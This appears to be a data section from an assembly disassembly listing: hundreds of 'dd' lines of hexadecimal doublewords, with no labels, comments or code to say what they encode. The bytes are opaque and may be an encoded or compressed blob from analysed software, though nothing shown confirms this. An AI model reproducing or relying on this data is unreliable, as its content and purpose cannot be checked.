		dd 0EA1FAC17h, 90091B14h, 82A04A37h, 28009AE8h,	69C67D84h
		dd 9884704Ch, 89864F83h, 4208603Ah, 0ED3812CBh,	0F230003Ch
		dd 0F0F7CC2Ch, 467674BCh, 59B81390h, 0C31A9012h, 0A0B03788h
		dd 104369F5h, 4680E0B7h, 3B3D5442h, 81F7F98h, 0D0E0CD22h
		dd 0FE4D0E02h, 0C3E4076Dh, 0B4E4D614h, 7AEE4814h, 6C17D903h
		dd 0B8B7D1D7h, 0B989A80Ch, 1899D1E8h, 24B600E5h, 5E129EDAh
		dd 80C45DA7h, 0E71279E6h, 0B89A5AA8h, 4411A180h, 0C1009406h
		dd 15B97508h, 2D6254Fh,	0D873B3C8h, 868FC6Dh, 5E0036B4h
		dd 0C9397B28h, 13B81DDBh
		dd 12AFA355h, 0E0E8E694h, 4F0A3Ah, 0B9557582h, 9015ED7Dh
		dd 4C31FDF4h, 0FE6DD8DAh, 1B68192h, 0FB770F91h,	0D094F83Ch
		dd 13496004h, 44E4A1CDh, 4D070026h, 21CAC3C5h, 6B00DF2Ch
		dd 89C06FF3h, 12E41777h, 9144A1FFh, 14F60F90h, 6686D8D2h
		dd 4BC9F0D4h, 8FF0D1ABh, 2B3F096Eh, 1CEC2338h, 974EC06Dh
		dd 461DF4A6h, 0E3733609h, 110C1D4Dh, 0E5B6839Fh, 41E3D047h
		dd 4A7376BBh, 0D8F42206h, 0A8058474h, 8CB810F5h, 0E1BBA287h
		dd 8B494166h, 0D11FDA10h, 0EA340EBCh, 80616FA5h, 0E2657AB0h
		dd 0C5140099h, 60E32C50h, 7DC5FF1Eh, 7CA207AEh,	17120D10h
		dd 0C43AF20Fh, 0A5005E23h, 0AE7928D2h, 3809BF59h, 27D3002h
		dd 0CD2CF101h, 0DA844109h, 4A49006Eh, 0C9F9616Ch, 0E4111E90h
		dd 0A00A8E45h, 887301E5h, 0E47865A5h, 72D8603Bh, 0A0527459h
		dd 94C2B8A8h, 5D1288E4h, 7C0DD424h, 7C2318EAh, 0F8339DA2h
		dd 589EC26Bh, 0F230047Dh, 89D7CA59h, 90A028C9h,	471D830h
		dd 0FBC8C1CEh, 0F2C4A225h, 9D44305Dh, 2C013E7Fh, 9896C246h
		dd 302F8611h, 1186B80h,	6016D4BAh, 98001A73h, 0C18A2943h
		dd 8F78BECBh, 3A05541h,	5BFF0925h, 0AF58D8F0h, 83286990h
		dd 0F441DD0h, 0FA7BD510h, 620484EBh, 1064B96Fh,	0E10BFCE0h
		dd 24D2160Fh, 0F1044737h, 979CFF80h, 67928E1h, 95F30310h
		dd 7A7544D2h, 40725E97h, 9A7CF754h, 0D6141EDCh,	118AEFFh
		dd 960FDE17h, 142CA481h, 3A8C50ECh, 8E008DA9h, 13042EB9h
		dd 8A1746CCh, 0B408DC47h, 0F5198D39h, 90E08879h, 3517E3h
		dd 0D866C958h, 0F506AE7Fh, 0A2019E7Bh, 0F4AC0990h, 0E40E42CCh
		dd 0D0903051h, 4EAE7B55h, 88479h, 0FBEB46C0h, 9C0F9617h
		dd 964AAA87h, 45A74C8h,	10C1E27Bh, 31DCB005h, 8A4CCB09h
		dd 0A37C1076h, 0C0154BA7h, 4338AE70h, 975C300h,	4BE32842h
		dd 0F20EEEFEh, 0F874B2CAh, 705460C3h, 2119E89Fh, 0C4B3A888h
		dd 1E6E1E28h, 0E5B4D504h, 9934CBCh, 0CA9892Bh, 2C707809h
		dd 1F533220h, 148A9818h, 0F50C2828h, 6C40DE20h,	8268C34Ch
		dd 6995F1AEh, 4306408h,	48A14CCCh, 2083FCCFh, 68003349h
		dd 78BF9C0Eh, 0B7C11268h, 0A9FF1490h, 3ACC1197h, 612E7871h
		dd 98DA730h, 38ACEC68h,	2886488Ch, 331C560Eh, 0AAFF4F42h
		dd 0B64C85Ch, 208360C2h, 7A824D86h, 70E9C58Bh, 47E082B8h
		dd 5025E802h, 0EA899E79h, 1750A29Ch, 96E460FBh,	0F81D9D5Eh
		dd 0C1803691h, 65B41ABFh, 3001D24Eh, 0FE84F178h, 0C2251806h
		dd 3044E45Ch, 0AE412A19h, 8600669Ch, 78C9F9D5h,	28384101h
		dd 4CC83639h, 0B83F0B0Ch, 453DF8D0h, 0BC9078F0h, 3008CE9h
		dd 20B02ADDh, 5DF9C3Ah,	6350A768h, 45288157h, 0A88105A3h
		dd 0B443F232h, 81A19820h, 8D74C85h, 5A8C5CE8h, 23982F4Bh
		dd 0ABF90055h, 0C96F88D9h, 2D361D01h, 266D0C43h, 894B0C68h
		dd 0C4C10750h, 0B61CF009h, 47F03155h, 0C79B928h, 460888A6h
		dd 0C373006Ah, 4B3B7B47h, 1D08446Fh, 27A8211Bh,	94171019h
		dd 1A899391h, 0CDAAB600h, 0E895D1DCh, 8858C620h, 785F0147h
		dd 0E7885C8Fh, 0F25933C0h, 0A808919Ah, 0B04944A4h, 0FA05B898h
		dd 6DEC08C5h, 0B8348C10h, 89008CECh, 7293C460h,	0E7E3BA46h
		dd 80AEF874h, 97B764B7h, 80EA91C4h, 0F8D6A007h,	1B020520h
		dd 0D0C918C1h, 4D9E7360h, 6422A84Eh, 74486A46h,	2F00DC68h
		dd 0F80414B9h, 14ECDD2Dh, 0C81790EDh, 20652610h, 27BD2122h
		dd 47944D2Fh, 0B1BFC0EDh, 2660728Ah, 8DA09C81h,	0CC174BEAh
		dd 2C1BF368h, 0D76165CEh, 909B43B4h, 509102C0h,	9004DF3h
		dd 72B01984h, 95FA7CE3h, 51914497h, 577EAC80h, 70086A7h
		dd 0EA1448E5h, 4C2CC989h, 8C89C8C1h, 168A004h, 0F464C842h
		dd 69F09836h, 3A00282Fh, 0C62D06B1h, 5925B679h,	924BE08Eh
		dd 0E320F42Ch, 570FC71h, 61A67BA5h, 2118B583h, 6FAC0731h
		dd 0E89B3D85h, 8C53EC3Ch, 4C74151Dh, 28D811C0h,	2E1AB3A5h
		dd 421C718Ah, 0BC7EC42Ch, 1ED0A047h, 247C91E5h,	741C1517h
		dd 0DF02E546h, 0ACFDAA5Ch, 1D589257h, 803F11A8h, 0AB5F1E4Eh
		dd 0A8910B25h, 0A480C86Fh, 20BE5E5Ah, 923C9600h, 7C4046Ch
		dd 0BC4A7CA4h, 52467450h, 34E17500h, 0DB2FD7EDh, 690B717Dh
		dd 84285AA2h, 0F8B8F1F0h, 81C8DB5Fh, 0A80A2606h, 2256660h
		dd 0F4B472C9h, 205ED2BAh, 0E478C569h, 0C7CE6054h, 6F2E03E5h
		dd 0BF978E7h, 0CA2F0EB0h, 0C484F45Ah, 0DD002C6Bh, 594466BAh
		dd 0E2259D17h, 0F86480h, 1BFB0C60h, 0ABFFDAC7h,	12E97B00h
		dd 949218F4h, 0B9C43FF3h, 0CDE3492h, 28E1ED6Ch,	5E650C13h
		dd 0A208B0h, 0BB306BFh,	2337E448h, 0E0A1B894h, 451854D1h
		dd 0DBCF0700h, 0C67F4437h, 30C316B4h, 902CC159h, 314DE145h
		dd 284E5F4h, 0EB505E29h, 3464F845h, 0DC206B60h,	0BEFB5309h
		dd 0C1F42481h, 0EAE8F4BCh, 5A03008Ch, 13E95654h, 3A2C2E6Dh
		dd 1238E8DEh, 401725D9h, 6DE1E8A6h, 54203E1Eh, 0B56671h
		dd 5F64CE0Eh, 9016E15Bh, 0C29DA00h, 187B27B6h, 6601EF19h
		dd 50D5F9A8h, 0B59175A0h, 55D14499h, 8E1F819h, 171C3774h
		dd 92C2B41Dh, 44960F70h, 28200410h, 0F02A0CCDh,	0B100C934h
		dd 0B57671D4h, 9ECF2C92h, 4BF96044h, 49F7518h, 0A48D7DD0h
		dd 73288040h, 163E701Bh, 5E34399h, 8EA14CA8h, 0C0E688ECh
		dd 61128017h, 0C0FD102Fh, 20A6D90Ch, 1093A9CDh,	0A020C127h
		dd 7F8A2900h, 840838E9h, 4205EA70h, 49D48975h, 48306A38h
		dd 4BB26D0Eh, 22988E40h, 0CBFB0565h, 0CF486219h, 0C03B8824h
		dd 6111F39Dh, 10D8554Ch, 0D509F150h, 9E042FC0h,	0B278B8B4h
		dd 152516C9h, 5668C218h, 89220588h, 9403B06Dh, 2C23F213h
		dd 717B0E09h, 73EB8C78h, 21D00B29h, 607B1818h, 0EB817849h
		dd 0C41CD829h, 0E3A8FFA3h, 0A82917F4h, 207C6196h, 0D23FC147h
		dd 0E5D92859h, 79019E18h, 964AC343h, 2C2EBFA8h,	4B40BD44h
		dd 20FD2722h, 50516489h, 7CC32C89h, 429419Ch, 600FF11Fh
		dd 70BC8191h, 5F4676h, 5A3AFA79h, 0BF9CD5AAh, 450ED081h
		dd 0CD78A782h, 0A89AE124h, 0C4086B97h, 4EE40663h, 0E8B6E084h
		dd 48984674h, 61AE0008h, 0D09BC5CFh, 662E1749h,	0AD401F73h
		dd 0A4180C04h, 2D07552Ch, 137A5B5Ah, 67EC5419h,	9F6350C9h
		dd 1A97D01Fh, 0A5BC84D0h, 6E6FBCF1h, 839A03CCh,	0E07F87A2h
		dd 1A7D3A49h, 60E9967Bh, 53D11479h, 9D021318h, 360DCE21h
		dd 0C5C0406Dh, 0D7D75BBCh, 0A4C289E4h, 0E43757h, 0DD98C501h
		dd 0FF01F8E4h, 83A2964Dh, 742B2E91h, 0A874EDFCh, 39D0090Eh
		dd 40825A59h, 590B6A36h, 0B04BE70h, 0F44CF5AAh,	275A32F4h
		dd 187088h, 0C2D4E40Fh,	8A57DC55h, 0D4D1774Eh, 0AFF92874h
		dd 0B9F0182Bh, 0A82DC189h, 804E8F5h, 0F23C2475h, 18683164h
		dd 0CCA804FEh, 5C97A2C0h, 2E617B70h, 80C92CE8h,	8CD53A10h
		dd 0EEAE2525h, 564494E4h, 0BB005446h, 0F47308E5h, 7770FE92h
		dd 7918C30Bh, 8080F335h, 314042C9h, 0F90C84E3h,	18A569AEh
		dd 148E9518h, 2A8CE1C3h, 224FE3C8h, 9214454Dh, 0D785349Bh
		dd 0C610C15Fh, 0D9842093h, 1B793640h, 999145B6h, 642C4809h
		dd 44A459FDh, 0E8B25263h, 73C078F7h, 138AEEACh,	0B44AA0FFh
		dd 660B5BE0h, 0D8D594A9h, 0A3E4A0C4h, 0E08A43h,	0C3825CE2h
		dd 5691EA28h, 71E36068h, 0F44B0BC0h, 1F80ECC2h,	3D845C11h
		dd 0C5B4AD2Eh, 0CA8738Ah
		dd 7C595AC9h, 69087CACh, 0BED30311h, 184A8C31h,	0EE22748Ah
		dd 0A64D0E09h, 0CD942243h, 74C02A58h, 59009346h, 0A7A2D3E1h
		dd 492514F8h, 0CD64624Ch, 0BD66E0B8h, 5C017616h, 0D4503F1h
		dd 432A6C83h, 41405BA8h, 0F51AA7C8h, 86E98F01h,	0BAB19399h
		dd 0D86182DFh, 0B8A1D29Ch, 8CE7E824h, 5D46309h,	66288258h
		dd 3BFC5257h, 1B017D3Fh, 0B7D7D46Ch, 0E874EE7Ah, 0C42CAF02h
		dd 3AB09883h, 2B89895Ch, 0E79D0830h, 509800FAh,	0D25443D6h
		dd 0B4055653h, 2D3041A2h, 59AFE449h, 1808A894h,	618BA1B3h
		dd 25F21DD1h, 8688BE00h, 0B6B90C02h, 0C9E40042h, 607FC373h
		dd 0C0E0D5A8h, 467E649Ch, 678B003Ah, 4433CB21h,	0A87E51C3h
		dd 0A67D6080h, 25FBDE3Bh, 0CA110D2h, 9CA2B833h,	9246D30h
		dd 0A3E106DBh, 99ED6002h, 0F4024464h, 15384B07h, 5B98C43Ch
		dd 379897A1h, 90169097h, 0BD032DD8h, 0D9459E0Bh, 0A6284FCDh
		dd 0E0EFE340h, 2F6649Dh, 36B09498h, 54560847h, 82FF7A89h
		dd 927315Ch, 0C382B8F9h, 912B938h, 0ECAE3451h, 0F399DC09h
		dd 0D4CD7098h, 692A3400h, 0F5A01190h, 90D15E08h, 857FA6B4h
		dd 43E2E80h, 8722DF44h,	791CB0A0h, 0ACB5A64Bh, 2EAC752Fh
		dd 1FE9238Ch, 82F24019h, 0BECAE64Eh, 20F41C95h,	0D486DE35h
		dd 0DFD1C226h, 0FE42003Dh, 5671F6E9h, 8D194AAEh, 0B8707DE0h
		dd 0E9220B96h, 7405AA7Fh, 60C04555h, 0E5880273h, 60C0D8CCh
		dd 3095140Dh, 3038C1D8h, 943004A9h, 64A26DAAh, 465E505Eh
		dd 2533009Ch, 3DF3F5C5h, 0B9A60B0Fh, 0E41DF7B7h, 74805291h
		dd 95DD3007h, 90AEBF2Ch, 0C138F911h, 0E40B7D15h, 6CEDDC27h
		dd 0EB7328C0h, 69BF08B9h, 7280E46Ch, 0AC135CC6h, 0F0607ADEh
		dd 44F50145h, 2E0BFA77h, 6C22702Dh, 2260A65Ch, 3844959Ch
		dd 125CA100h, 0ABC202E1h, 0CD3E0068h, 5664FD1Ch, 520F4D33h
		dd 0D6DA817Fh, 2813B416h, 0A20160E9h, 4794248Bh, 0CCD82A04h
		dd 18C18864h, 9C0F8D4Eh, 0F5AE0140h, 28705214h,	74DC1667h
		dd 5CEC0CE4h, 9760A131h, 77024CA1h, 0CF540024h,	0E02C2F86h
		dd 0DC023F68h, 3C85DB11h, 0C48B55D4h, 6C000851h, 0DA02C9FBh
		dd 3EBA099Ch, 0D056DB8Bh, 0CF2C9040h, 0E561C087h, 44C34291h
		dd 25BE7B17h, 0D47B045h, 15C4D0F8h, 0E020ABAEh,	4EC0FD12h
		dd 711CE2F1h, 31190818h, 9DEBDBE0h, 0FA34F490h,	0DD334603h
		dd 0E93B6D29h, 49E8EAEDh, 473807FDh, 41F27B14h,	2BCA0B32h
		dd 93D31837h, 41EA84C3h, 0B9AED9BCh, 45107488h,	0F20C71E9h
		dd 9896D220h, 0AFD30902h, 2CF688A0h, 409870C9h,	0F30CCB0Ch
		dd 0E1D20647h, 9C315418h, 0B08F01FDh, 0CBC89093h, 9270E004h
		dd 38AAB31Eh, 0DE749419h, 393003Ch, 3D437DA0h, 2E3508A0h
		dd 0CCA860D2h, 30AC0E88h, 0AE125902h, 5EB0C15Ch, 0EDA001F2h
		dd 0E8017B40h, 25AE797Bh, 0C144822Ah, 0A8389875h, 0A238C4B2h
		dd 59CA0C40h, 30C50123h, 8342F5F9h, 8CE042FBh, 179FDC44h
		dd 9CEA9140h, 0BD6D7340h, 0E2F7364Bh, 0D83312D4h, 4A6CB768h
		dd 3AB288E2h, 1E02E30h,	53DA8BBFh, 24F8CFF1h, 0B7004540h
		dd 65B57C9h, 9591FBF3h,	90F86C8Ch, 0D4C20E9h, 85F001F5h
		dd 23783E3Eh, 85210093h, 40DDAAE5h, 0E491EE4Ah,	8015C06h
		dd 0BC24289Ah, 407B8C91h, 0C0CE6D27h, 4A7B8ED4h, 5500C247h
		dd 4966CDEh, 37C8188Bh,	3C81DFC4h, 62FDC55h, 21ABFDB8h
		dd 465E3C9Ch, 38D40534h, 0AC1F3E8Ch, 0C30BA3D0h, 78628910h
		dd 1DC2454h, 0E4BDA9AFh, 2BBE6D0Eh, 98A864C4h, 183080D6h
		dd 50F8320Eh, 8318637h,	10E1928Eh, 0F3DD1981h, 3D97E99Eh
		dd 0C01AE8D8h, 0FF2CBBC6h, 9E12737Bh, 0C4C895ADh, 0B8C79582h
		dd 0E06034C4h, 103BDECCh, 81EF094Fh, 5594C2E2h,	0E701183Dh
		dd 6339CE7Ah, 0BC262161h, 4A9FA110h, 6F18C08Ch,	0D360712Ch
		dd 5A492B19h, 7BEDA800h, 1FADA393h, 96A70E16h, 0AF624D9Ch
		dd 0B775A9DCh, 0F94507CCh, 0A082A981h, 0C464076Dh, 9595F522h
		dd 7C2DB04Eh, 0D95859F3h, 0B78B1893h, 905DBB42h, 7731E0h
		dd 3808D871h, 331E0337h, 615D8100h, 2DC6E421h, 18F104A3h
		dd 0FE526D0Ch, 2978B404h, 37A1CCACh, 486C0920h,	8CECACh
		dd 258CF62h, 87A4770Ah,	14A01648h, 0A484807Dh, 0DF21CCA8h
		dd 46826D06h, 41430F88h, 44931918h, 0E691AFECh,	8572E05Ch
		dd 6160BC0Ch, 11E265ACh, 0C89EA9A3h, 2A5E40D0h,	0FF4C4212h
		dd 9F91A72Fh, 805E11F8h, 0A6EF2A4Dh, 3CF52CAAh,	79DA8F5Ch
		dd 1796F124h, 90019C8Dh, 6E07A3F9h, 183D8506h, 0E744C087h
		dd 0A7755C60h, 0A07D9216h, 795FBC00h, 30D66C27h, 5D07C09h
		dd 6B00264Bh, 81C9D9FFh, 5A5DB2D4h, 1FC6F8Ah, 744CCF37h
		dd 883A578Bh, 68001440h, 0D2197C95h, 3983453Ah,	18084A63h
		dd 0AB0224DDh, 706CD5A8h, 209C9880h, 0AA275522h, 98CABCDh
		dd 7FE800BCh, 0BE499019h, 0D8D9148h, 91A0FFD2h,	2F0E13E0h
		dd 381F8675h, 0FE803B11h, 3FC801F2h, 3F34509h, 60645664h
		dd 0CD2CA3D7h, 74708545h, 0B1ADF5FDh, 0DF70345Bh, 0DD4F248Ah
		dd 2FD1080Ch, 70474B00h, 4AAAE433h, 50F0A34Eh, 0F441202Ch
		dd 0A8488C7Ch, 8C51E8h,	25A67610h, 4FE3FFF6h, 4840873Ah
		dd 0B3CE0088h, 3A2E75A0h, 173D2D96h, 3E00188Fh,	30B7F8A1h
		dd 671CC295h, 60E66484h, 0F589832h, 40493120h, 5098E153h
		dd 3E026848h, 0BCA0F75Dh, 771B00C6h, 6B1CDC47h,	28964118h
		dd 8018DC3Ah, 568EC0D8h, 547850h, 3B33EFEh, 0EB532E7h
		dd 0EC1CBA01h, 41CAD19Dh, 0B4D62300h, 2E0FCB00h, 441ED5B2h
		dd 0EC1895DAh, 0E4E3A47h, 883FC4A1h, 6FFCC4E4h,	9CC02200h
		dd 0F67CA7E5h, 138700CFh, 73AFE474h, 2E7C0E1Fh,	7D0CD80Bh
		dd 0BDC51E6h, 0D847ED84h, 95609864h, 3900FC31h,	8C0E8414h
		dd 60197677h, 1BB19933h, 0A00EF8D9h, 40200728h,	0DF2356D0h
		dd 0B99204C6h, 82DEB074h, 60F1C5BCh, 9CFEE14h, 0DAA637E4h
		dd 0B638A418h, 0C400DC64h, 0FDAC8CA1h, 4B39CD8h, 4D104148h
		dd 6CCA1727h, 52C16737h, 107F0847h, 26E6F854h, 8B004522h
		dd 64E1524Dh, 3D5FDECAh, 555F80A8h, 500A8E54h, 430C290Eh
		dd 60410979h, 0F7391E0h, 23E18978h, 0E2F194C0h,	0C00395A0h
		dd 0F0875967h, 0A886A16Fh, 10352Bh, 944C13ACh, 459547F0h
		dd 0C6C2BEF4h, 6829D553h, 0D1821ADh, 2A49D8DDh,	7CA80484h
		dd 45C323C0h, 0AFE7A3FFh, 0AA8810D9h, 37B02DDh,	0D22A0FBAh
		dd 5D515456h, 0C7BE4F10h, 9495AEE8h, 86D320F8h,	4472FBh
		dd 8DF4D4D8h, 19B79Eh, 889D5CC1h, 0B182811Fh, 6C07BC02h
		dd 0E25DC313h, 9D80DAB8h, 88E2DCCDh, 0E2A4078h,	61E65CC8h
		dd 1EA8892Ch, 8822AD1Dh, 960327CDh, 54338298h, 5E46D6A4h
		dd 84D0B10Bh, 38408C56h, 834D7Ah, 0CAEA135Dh, 748B8142h
		dd 64F4D612h, 7BC27CA8h, 8070C138h, 7CAAA009h, 790471A1h
		dd 902918E4h, 0BF250B7Ch, 0DCF35394h, 465C1CACh, 182F1CE4h
		dd 80B3D1B3h, 0A4C8EBh,	840FB8DEh, 20FD7883h, 8FB0F527h
		dd 70A8B268h, 5D6E82DCh, 0F8566BFCh, 56B6A962h,	3446D62Ch
		dd 3058B504h, 0C008EBE0h, 3C106AEh, 7012C134h, 4A984C8h
		dd 0A82CE9D6h, 0CB2C247Fh, 48C44B64h, 76115900h, 6DEF1A29h
		dd 643E0021h, 39BD07BFh, 0F40547CBh, 0E4DCF5A8h, 3A0C891h
		dd 5FA22C23h, 7177D30h,	0F7457659h, 205499D8h, 0D45854EBh
		dd 79B03D00h, 57730C01h
		dd 0D3CE79AAh, 5E380B21h, 1DA5B874h, 819E1144h,	0BE4EC1E2h
		dd 55FD5F8h, 6D0E2852h,	1FD0E8E6h, 586DC52Ah, 0CCE44AB8h
		dd 7E4AC37Ch, 4C2354CDh, 4F090778h, 0CF79F44Ch,	7390D5E0h
		dd 0AF0174C3h, 3710BF98h, 48752914h, 59A97FF1h,	1852F9E8h
		dd 0AFD6020Ch, 6B6E6950h, 44091460h, 9061A0C4h,	0ACD8FB04h
		dd 2006A254h, 0A0E18B5h, 0BC182CE9h, 7B1E8C50h,	4F12CF4Ah
		dd 0EAACC0A9h, 8029008Ch, 7B395F68h, 9F0BF3E8h,	81675A28h
		dd 82A3C8ECh, 3F60742Bh, 0DA290058h, 28DB2F79h,	1A75120Ch
		dd 9C34B45Dh, 0D7F8E752h, 553C4C82h, 0E491F81Dh, 0AA90A480h
		dd 0D65E80F5h, 0A806C8A7h, 79D558FDh, 9A55D480h, 1B024A81h
		dd 9128972Bh, 0E76E8036h, 6B0918C3h, 4F9C008h, 658CC19Eh
		dd 9C361828h, 67F68B64h, 0CE0C4F9h, 0BA663A45h,	71461750h
		dd 0C0F09B0Fh, 0C4E54DF7h, 0E261235h, 0C878CB31h, 5B07C038h
		dd 3C00B369h, 7DB457F2h, 0B782CDA6h, 842BD8A0h,	4B04D510h
		dd 0DDAE130Ah, 96053CA8h, 586F59Ch, 0A3EFB4E8h,	303EA2B4h
		dd 8300800Eh, 30AC056Ch, 4735F0Ch, 2C293247h, 2C48C9CEh
		dd 3A267C60h, 97B88C08h, 0B4A44E28h, 0F6F54A45h, 0BE3BE000h
		dd 5D3A0C2Eh, 0DD50D81Ch, 0FF151809h, 470068AAh, 0C8F35E03h
		dd 0F0C293FCh, 9883CA2Ch, 9F6E22ECh, 7309D446h,	0F8F538C1h
		dd 0A3AF5A58h, 34F24A54h, 7B12F600h, 0C7D162BDh, 1363BA00h
		dd 0A8FD3989h, 0F94609F2h, 0B84335BEh, 6C7D08E8h, 37BFB0B2h
		dd 999011Ch, 2BC0EA79h,	9323583Bh, 0A1585F0Fh, 0A75DF72Ch
		dd 0F8E9D5C1h, 0C040DE02h, 4980A4C5h, 0A7752D8Ah, 0BE9C24BDh
		dd 71DAC447h, 3F84AE30h, 8722057Ah, 8B6A896h, 19802980h
		dd 0A72B4347h, 9B380028h, 4FE31F7Dh, 0DA4F10F1h, 98AD8413h
		dd 0B012CBB8h, 4C0909C7h, 0EE5CE128h, 0EE97DA08h, 0AE0A006Ch
		dd 8A24C9BCh, 0FAC01EA8h, 3CB4F738h, 12CA12A5h,	0C4ACB28Bh
		dd 0B212EF61h, 315CF26Ch, 1BD8202Ah, 0C403E02h,	55488265h
		dd 618DC8A1h, 48E2A29h,	32C09F88h, 0E35FBB52h, 5A909DD4h
		dd 13F8B082h, 58A02E2Eh, 0B335123Dh, 20E784B6h,	0D6F1101Eh
		dd 46EF7F25h, 62C90248h, 0BB4C4B7Dh, 4C25DC74h,	0B04495F0h
		dd 2E00427Dh, 8C1BF3C6h, 456BF6Ah, 0A2CC242Fh, 0A5D4C131h
		dd 4292E3Eh, 17F7020h, 0DC9E5B98h, 65C274CDh, 0F518D630h
		dd 0EF01E3FCh, 0A264230Fh, 0E061313Fh, 0FE06A0F6h, 67F983CBh
		dd 81EC7A58h, 1C56D83Ah, 2F9CC758h, 48C588Dh, 187DF4F3h
		dd 8898AD03h, 481E966Fh, 7C0146C0h, 301885F8h, 5D3D7980h
		dd 0D42719EDh, 9EA55700h, 0A0E823C6h, 412F0EB8h, 7B42A6FBh
		dd 0A854CDBEh, 80631700h, 5C2BFA2h, 61337E30h, 0BBC8781h
		dd 63C47054h, 0FF222A22h, 47B876A1h, 41A06A7Ch,	39024772h
		dd 0B6D909D8h, 16605CD1h, 0A85C1613h, 2C020C4h,	63271844h
		dd 84D8F138h, 0E4088ABFh, 0AE3E2507h, 0BCD50AD0h, 0E30C0F0h
		dd 6CB3A821h, 43E0A197h, 0B9C0C37Eh, 0BED98029h, 64A86125h
		dd 8434888h, 61061518h,	5E1A90A2h, 0D420426Eh, 0F8A00888h
		dd 0F020BE0Ch, 0C43E8890h, 0ECCD3D13h, 0CAE13719h, 0A0095822h
		dd 0A700C1F1h, 69AE7B3Ah, 0E6F79725h, 0C33D0194h, 1E71D652h
		dd 0F917CCC1h, 0AD4AB47Dh, 589888C5h, 594060CBh, 0C1F9122Fh
		dd 55E3720Eh, 0B710AF0Bh, 0A0AFA841h, 16AA4EDh,	0B6F97BB8h
		dd 2879B429h, 0CC718420h, 2EDCE288h, 1068415Eh,	60193A23h
		dd 0CAFDAE71h, 0B3295B10h, 3038E2ACh, 0BE0E5190h, 69FF49D0h
		dd 0A830089Eh, 0D3189030h, 17350143h, 0FDB60FDAh, 0E347493h
		dd 0B09A0A04h, 0ECE9F082h, 115620BDh, 3848F00h,	0A0689129h
		dd 0EABCA88Ch, 0C7813A1Dh, 55569E04h, 1660C0D5h, 0A095AB39h
		dd 83B9CA4h, 5E14940Ch,	0A8003F46h, 0DDF3B047h,	822C0C9Ah
		dd 74650884h, 34C63591h, 2FF0BF0h, 0AAF7F6F1h, 8C543D92h
		dd 63E00E49h, 7C3FB6F8h, 97CB0B9h, 18E5ED7Ch, 55DA1454h
		dd 7800B8B5h, 0A26D8696h, 0F46F9F5Bh, 0AA801744h, 5A2E775Eh
		dd 613470C0h, 5504B557h, 9D3AEA36h, 6A5AD4E7h, 7A4101F0h
		dd 967B93C3h, 0FE440D2h, 0DE98964Fh, 0E7434201h, 901EA2DBh
		dd 75BFC885h, 5C2EAA24h, 6C034C8h, 90416E83h, 965DE238h
		dd 0E9465E88h, 0B739501h, 6A61FE74h, 4D8FEF0h, 1538CB29h
		dd 8E34AC33h, 75B90D2h,	6D01A6ECh, 28C17B49h, 7900F40Ch
		dd 5427AE7Dh, 0D90059CBh, 481852h, 0AC14DE35h, 0C20FE9B9h
		dd 2B09472Fh, 40B05EFCh, 0C9A64A50h, 72DED200h,	0BAED4FBh
		dd 0E31904A9h, 0AC97F2EFh, 0F42BA198h, 0A158A804h, 6B09274Ch
		dd 0E923B42Bh, 0B87E103h, 0CAD29908h, 707C946Dh, 537E0Ch
		dd 13B6A067h, 0C7CB5259h, 0F1031F85h, 0FBA9FF81h, 0EFF74100h
		dd 0E56C80CCh, 45BE13F1h, 9744089h, 0D8F52029h,	0B4028C9Eh
		dd 5659DE7Dh, 0B8DC4B48h, 0B9CCFD60h, 0BAA0076h, 0C29858EDh
		dd 780A72A9h, 80EAFADAh, 24222708h, 0A36509B4h,	9CAC305Bh
		dd 75B60E39h, 0DF683A56h, 1E0498B7h, 20FB0B01h,	265BAEFCh
		dd 1A11AD00h, 0BEF9D69Fh, 0EC8659EDh, 0C2D8815Fh, 703F7B78h
		dd 51AE423h, 20B77D38h,	5B1B7700h, 2ED1C7ADh, 8B83A9Ch
		dd 6D0CE4C0h, 240F69F4h, 11505720h, 6BD5002Eh, 28EED908h
		dd 3BCD74E9h, 0C309E6E4h, 90400E18h, 0A84CFE32h, 0CBA70C98h
		dd 5E4A7959h, 762CB073h, 0EE1EF700h, 188A5748h,	30C31CD7h
		dd 7CAB4BDEh, 9854484Ah, 26ED8D40h, 9C0E0097h, 2C3BBD9Dh
		dd 8967A014h, 6AA04E21h, 0D0B8F9h, 876B4B76h, 2F0E85A1h
		dd 0DD177C17h, 0BBB8A4EDh, 0AB633F00h, 0B18C1847h, 78E95C6Ah
		dd 0E6978322h, 0E94CBE2Ch, 9D59A0F1h, 0C60C1918h, 58247413h
		dd 91D4BEB6h, 37860046h, 0A7B243FBh, 0C4790167h, 19BAE17h
		dd 3EA6DDF3h, 5CC8808Fh, 38C3F8C0h, 6868B771h, 519549BCh
		dd 1834D944h, 4C72799Dh, 0B3C76C50h, 89E00E6Fh,	2DF23163h
		dd 1BCF4700h, 698F7560h, 0F5F304B4h, 0B80F4EAAh, 0C0F1D254h
		dd 0A834357Fh, 2CDD4A28h, 82009A7Eh, 0E3CDA1DBh, 0D8639B8Eh
		dd 0F77A106Ch, 9634302Eh, 662087A2h, 5E34B601h,	59389046h
		dd 2513A15Ch, 2A402982h, 0E8C8D48Bh, 94018DC0h,	6CCD4C5Fh
		dd 4FA03110h, 13CE8C2h,	6F4C6579h, 0B1C088C7h, 12569CD4h
		dd 0E263D703h, 7CA65E50h, 0F5AC04F0h, 526A9402h, 0F60519AAh
		dd 5A5C000Ch, 0F83CAD4Bh, 46F74102h, 550B6C0Dh,	3F52F481h
		dd 0B755F2E7h, 37FF006Ch, 0F8AA73BAh, 0A892EC0Ah, 0BE128728h
		dd 58458CF0h, 421C36F3h, 142C2FC5h, 3201BF98h, 46C94506h
		dd 54306FE1h, 80BC9A2Eh, 83A809A0h, 9F82D990h, 0B8352FFFh
		dd 3488C48Eh, 4155FDC2h, 0BC689114h, 8C38BCh, 0F77F2E40h
		dd 0D9935D03h, 0DD97C8C2h, 0FC9E7FCCh, 42DC6D9Dh, 4455C4ABh
		dd 0A360006Ch, 75AF4B7Fh, 68009EA8h, 1E43EBCDh,	25450CF2h
		dd 6C5144FEh, 0D4521CC5h, 3EB81CBDh, 9A223000h,	631CC605h
		dd 6CDA1289h, 503855B5h, 0CF0088BCh, 0E20F3722h, 3DFE592Eh
		dd 0F69EE471h, 0B51804EFh, 0C14CC2FCh, 42781655h, 73C6C404h
		dd 236804AAh, 0B268B82Ch, 9E771647h, 21D829CDh,	0BA81801h
		dd 786249A5h, 80696856h, 87A3302Ch, 34379FECh, 4C5227h
		dd 628E3F44h, 0B794FF18h, 4DD00C5Ch, 28F24F2Ch,	0D36B2C88h
		dd 283050DCh, 10788A2Dh, 40DCDD0Ch, 4B00E3F9h, 71E42D6Ch
		dd 97DDFE0h, 38CB2E2Bh
